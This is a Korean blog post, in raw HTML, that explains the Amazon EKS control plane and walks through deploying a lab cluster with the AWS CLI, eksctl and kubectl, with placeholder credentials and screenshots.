&lt;div id=&quot;block-ec4c065a9851468e858e9dcfeb787d57&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;655&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sbXfb/btsFHsVFPJE/WcmMK07kAyJamJsQIK0jbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sbXfb/btsFHsVFPJE/WcmMK07kAyJamJsQIK0jbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sbXfb/btsFHsVFPJE/WcmMK07kAyJamJsQIK0jbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsbXfb%2FbtsFHsVFPJE%2FWcmMK07kAyJamJsQIK0jbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;655&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;span&gt;&lt;span&gt;Amazon EKS Control Plane 요소&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;block-1ff2d91e875c434e8e924fa5d9ac10ee&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-37eb6e02418a436c888d2e42e0ea796d&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;EKS API서버를 호출하면 NLB의 IP주소로 접근되어 적절한 가용 영역으로 로드밸런싱해줍니다. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-bc0f9776c9f34507b0125e86f434074e&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9MmjJ/btsFDDkCTNP/LcnknbvfATewMNVffhd1Ek/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9MmjJ/btsFDDkCTNP/LcnknbvfATewMNVffhd1Ek/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9MmjJ/btsFDDkCTNP/LcnknbvfATewMNVffhd1Ek/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9MmjJ%2FbtsFDDkCTNP%2FLcnknbvfATewMNVffhd1Ek%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div id=&quot;block-37d12e58e63647f6a174f08e7f873699&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;AWS VPC와 내 VPC 영역 간의 통신을 위해 EKS owned ENI가 필요하며 이는 AWS가 소유합니다. 또한 &lt;span style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;관리형 노드 그룹은 다양한 OS 제공이 가능하며 최신 EKS Optimized AMI를 사용합니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-860f7d4059834022824d51a75c0eb2b8&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2iUzg/btsFGkqwRng/yXQKVfblTuMINdbeFWmUA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2iUzg/btsFGkqwRng/yXQKVfblTuMINdbeFWmUA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2iUzg/btsFGkqwRng/yXQKVfblTuMINdbeFWmUA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2iUzg%2FbtsFGkqwRng%2FyXQKVfblTuMINdbeFWmUA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;644&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div id=&quot;block-2179f8c99708445b811d7e2616a2847c&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;block-ea5e32f986e94bf59281778732ce713a&quot; style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;&lt;span&gt;기본 인프라 배포&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;div id=&quot;block-60331c08907e44fc81ed16a2ee854111&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/H5S0U/btsFEYBvk3h/99cTkHEIFIszYeThFFKTWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/H5S0U/btsFEYBvk3h/99cTkHEIFIszYeThFFKTWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/H5S0U/btsFEYBvk3h/99cTkHEIFIszYeThFFKTWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FH5S0U%2FbtsFEYBvk3h%2F99cTkHEIFIszYeThFFKTWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;789&quot; height=&quot;768&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 id=&quot;block-830f45df98b1450f9da970996849a5dd&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&lt;span&gt;IAM User 자격 증명 설정 및 VPC 확인 및 &lt;/span&gt;&lt;span&gt;변수 지정&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div id=&quot;block-6dc6bf1613ef4d2cb767b55f1339dc90&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;aws configure&lt;/span&gt;&lt;span&gt; 명령과 Access Key를 통해 자격 증명을 설정하고 확인합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-136dea4bbd33428e821381a1e3bcb4e1&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;pre id=&quot;code_1709975331396&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 자격 구성 설정 없이 확인
aws ec2 describe-instances

# IAM User 자격 구성 : 실습 편리를 위해 administrator 권한을 가진 IAM User 의 자격 증명 입력
aws configure
AWS Access Key ID [None]: AKIA5...
AWS Secret Access Key [None]: CVNa2...
Default region name [None]: ap-northeast-2
Default output format [None]: json

# 자격 구성 적용 확인 : 노드 IP 확인
aws ec2 describe-instances&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div id=&quot;block-9e24f51b274544168d2b29f5503be642&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;EKS를 배포할 VPC 정보를 확인하고 활용하기 위해 변수로 지정합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;pre id=&quot;code_1709975431229&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EKS 배포할 VPC 정보 확인
aws ec2 describe-vpcs --filters &quot;Name=tag:Name,Values=$CLUSTER_NAME-VPC&quot; | jq
aws ec2 describe-vpcs --filters &quot;Name=tag:Name,Values=$CLUSTER_NAME-VPC&quot; | jq Vpcs[]
aws ec2 describe-vpcs --filters &quot;Name=tag:Name,Values=$CLUSTER_NAME-VPC&quot; | jq Vpcs[].VpcId
aws ec2 describe-vpcs --filters &quot;Name=tag:Name,Values=$CLUSTER_NAME-VPC&quot; | jq -r .Vpcs[].VpcId
export VPCID=$(aws ec2 describe-vpcs --filters &quot;Name=tag:Name,Values=$CLUSTER_NAME-VPC&quot; | jq -r .Vpcs[].VpcId)
echo &quot;export VPCID=$VPCID&quot; &amp;gt;&amp;gt; /etc/profile
echo $VPCID

# EKS 배포할 VPC에 속한 Subnet 정보 확인
aws ec2 describe-subnets --filters &quot;Name=vpc-id,Values=$VPCID&quot; --output json | jq
aws ec2 describe-subnets --filters &quot;Name=vpc-id,Values=$VPCID&quot; --output yaml

## 퍼블릭 서브넷 ID 확인
aws ec2 describe-subnets --filters Name=tag:Name,Values=&quot;$CLUSTER_NAME-PublicSubnet1&quot; | jq
aws ec2 describe-subnets --filters Name=tag:Name,Values=&quot;$CLUSTER_NAME-PublicSubnet1&quot; --query &quot;Subnets[0].[SubnetId]&quot; --output text
export PubSubnet1=$(aws ec2 describe-subnets --filters Name=tag:Name,Values=&quot;$CLUSTER_NAME-PublicSubnet1&quot; --query &quot;Subnets[0].[SubnetId]&quot; --output text)
export PubSubnet2=$(aws ec2 describe-subnets --filters Name=tag:Name,Values=&quot;$CLUSTER_NAME-PublicSubnet2&quot; --query &quot;Subnets[0].[SubnetId]&quot; --output text)
echo &quot;export PubSubnet1=$PubSubnet1&quot; &amp;gt;&amp;gt; /etc/profile
echo &quot;export PubSubnet2=$PubSubnet2&quot; &amp;gt;&amp;gt; /etc/profile
echo $PubSubnet1
echo $PubSubnet2&lt;/code&gt;&lt;/pre&gt;
&lt;div id=&quot;block-1784bbd2c11d43f690f065d5172c74d7&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;h3 id=&quot;block-0ca9750b5fe64e919e746315012e81b3&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&lt;span&gt;Amazon EKS 배포&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div id=&quot;block-97ae7afa8d554f15aa4bdce5128f6ebc&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;지정된 변수를 확인합니다. 변수값들이 제대로 출력되지 않으면 EKS 배포에 실패합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1709975456250&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 변수 확인
echo $AWS_DEFAULT_REGION
echo $CLUSTER_NAME
echo $VPCID
echo $PubSubnet1,$PubSubnet2&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div id=&quot;block-9495decc6f19415ba45279c866d6830e&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;터미널을 하나 새로 생성하여 EC2가 생성되는 과정을 모니터링할 수 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1709975478547&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 옵션 [터미널1] EC2 생성 모니터링
while true; do aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output text ; echo &quot;------------------------------&quot; ; sleep 1; done
aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output table&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div id=&quot;block-f334d591031d41f4ab937a44c4b4b487&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;409&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ch8xdZ/btsFGNeGW6q/eL6MrzmWip0TWYmjWF5VtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ch8xdZ/btsFGNeGW6q/eL6MrzmWip0TWYmjWF5VtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ch8xdZ/btsFGNeGW6q/eL6MrzmWip0TWYmjWF5VtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fch8xdZ%2FbtsFGNeGW6q%2FeL6MrzmWip0TWYmjWF5VtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;409&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;409&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div id=&quot;block-6475d568f21a49d3b4f7bf255b17f331&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;EKS를 배포하기 전에 &lt;/span&gt;&lt;b&gt;&lt;span&gt;--dry-run&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&amp;nbsp;옵션을 통해 상세 정보를 확인합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-b1fe81457e924ce5848bf6fb6f156d0f&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;pre id=&quot;code_1709975519244&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# eks 클러스터 &amp;amp; 관리형노드그룹 배포 전 정보 확인
eksctl create cluster --name $CLUSTER_NAME --region=$AWS_DEFAULT_REGION --nodegroup-name=$CLUSTER_NAME-nodegroup --node-type=t3.medium \
--node-volume-size=30 --vpc-public-subnets &quot;$PubSubnet1,$PubSubnet2&quot; --version 1.28 --ssh-access --external-dns-access --dry-run | yh&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div id=&quot;block-c6031b0963574a60953df7de412f3192&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;EKS클러스터를 배포합니다. 실제로 Amazon EKS는 다양한 AWS 서비스들로 구성되어 있습니다. EKS를 배포할 때 15분 정도 소요되는데 이러한 서비스들을 모두 배포하고 구성하는 데에 시간이 필요하기 때문입니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1709975536893&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# eks 클러스터 &amp;amp; 관리형노드그룹 배포: 총 15분 소요
eksctl create cluster --name $CLUSTER_NAME --region=$AWS_DEFAULT_REGION --nodegroup-name=$CLUSTER_NAME-nodegroup --node-type=t3.medium \
--node-volume-size=30 --vpc-public-subnets &quot;$PubSubnet1,$PubSubnet2&quot; --version 1.28 --ssh-access --external-dns-access --verbose 4&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div id=&quot;block-de50ee1555384c2e80a1f261d52042a8&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;743&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KT1s5/btsFEhIz7Sm/dcABlZRdsqOs2MdbQqBnh0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KT1s5/btsFEhIz7Sm/dcABlZRdsqOs2MdbQqBnh0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KT1s5/btsFEhIz7Sm/dcABlZRdsqOs2MdbQqBnh0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKT1s5%2FbtsFEhIz7Sm%2FdcABlZRdsqOs2MdbQqBnh0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;743&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;743&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;배포가 모두 정상 진행되었으면 띄워놓은 모니터링용 터미널에서 EKS 노드 그룹의 정보를 확인할 수 있습니다.&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.22.20 PM.png&quot; data-origin-width=&quot;1246&quot; data-origin-height=&quot;454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkMpcl/btsFE4IuEXo/x3h5PuKwv6TTkZwhHBuSW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkMpcl/btsFE4IuEXo/x3h5PuKwv6TTkZwhHBuSW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkMpcl/btsFE4IuEXo/x3h5PuKwv6TTkZwhHBuSW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkMpcl%2FbtsFE4IuEXo%2Fx3h5PuKwv6TTkZwhHBuSW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1246&quot; height=&quot;454&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.22.20 PM.png&quot; data-origin-width=&quot;1246&quot; data-origin-height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS 콘솔의 EKS 서비스에서 정상적으로 조회할 수 있으며 EC2 서비스에서 AutoScalingGroup으로 묶여있음을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.24.29 PM.png&quot; data-origin-width=&quot;2610&quot; data-origin-height=&quot;1404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zWFBq/btsFEgQqKF9/5hnUE7U5JNR2pAokT0oecK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zWFBq/btsFEgQqKF9/5hnUE7U5JNR2pAokT0oecK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zWFBq/btsFEgQqKF9/5hnUE7U5JNR2pAokT0oecK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzWFBq%2FbtsFEgQqKF9%2F5hnUE7U5JNR2pAokT0oecK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2610&quot; height=&quot;1404&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.24.29 PM.png&quot; data-origin-width=&quot;2610&quot; data-origin-height=&quot;1404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.29.11 PM.png&quot; data-origin-width=&quot;2376&quot; data-origin-height=&quot;1392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqNuBh/btsFEZAsiId/nJRSXpYWUXAHU3JAUUB3Ek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqNuBh/btsFEZAsiId/nJRSXpYWUXAHU3JAUUB3Ek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqNuBh/btsFEZAsiId/nJRSXpYWUXAHU3JAUUB3Ek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqNuBh%2FbtsFEZAsiId%2FnJRSXpYWUXAHU3JAUUB3Ek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2376&quot; height=&quot;1392&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.29.11 PM.png&quot; data-origin-width=&quot;2376&quot; data-origin-height=&quot;1392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EKS 클러스터 정보 확인 명령어를 통해 출력된 URL과 AWS 콘솔에서의&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;API 서버 엔드포인트가 같은 URL인 것도 확인할 수 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1709976992799&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# eks 클러스터 정보 확인
kubectl cluster-info

eksctl get cluster
aws eks describe-cluster --name $CLUSTER_NAME | jq
aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.35.55 PM.png&quot; data-origin-width=&quot;2532&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZvHhL/btsFGpkR6iZ/hkOBdnQxgjey7OEeS4BPj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZvHhL/btsFGpkR6iZ/hkOBdnQxgjey7OEeS4BPj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZvHhL/btsFGpkR6iZ/hkOBdnQxgjey7OEeS4BPj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZvHhL%2FbtsFGpkR6iZ%2FhkOBdnQxgjey7OEeS4BPj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2532&quot; height=&quot;182&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.35.55 PM.png&quot; data-origin-width=&quot;2532&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.39.27 PM.png&quot; data-origin-width=&quot;1808&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lYYzJ/btsFGlQxlXB/mFKWNfWUAeDPNZkWWOPWEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lYYzJ/btsFGlQxlXB/mFKWNfWUAeDPNZkWWOPWEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lYYzJ/btsFGlQxlXB/mFKWNfWUAeDPNZkWWOPWEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlYYzJ%2FbtsFGlQxlXB%2FmFKWNfWUAeDPNZkWWOPWEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1808&quot; height=&quot;110&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.39.27 PM.png&quot; data-origin-width=&quot;1808&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
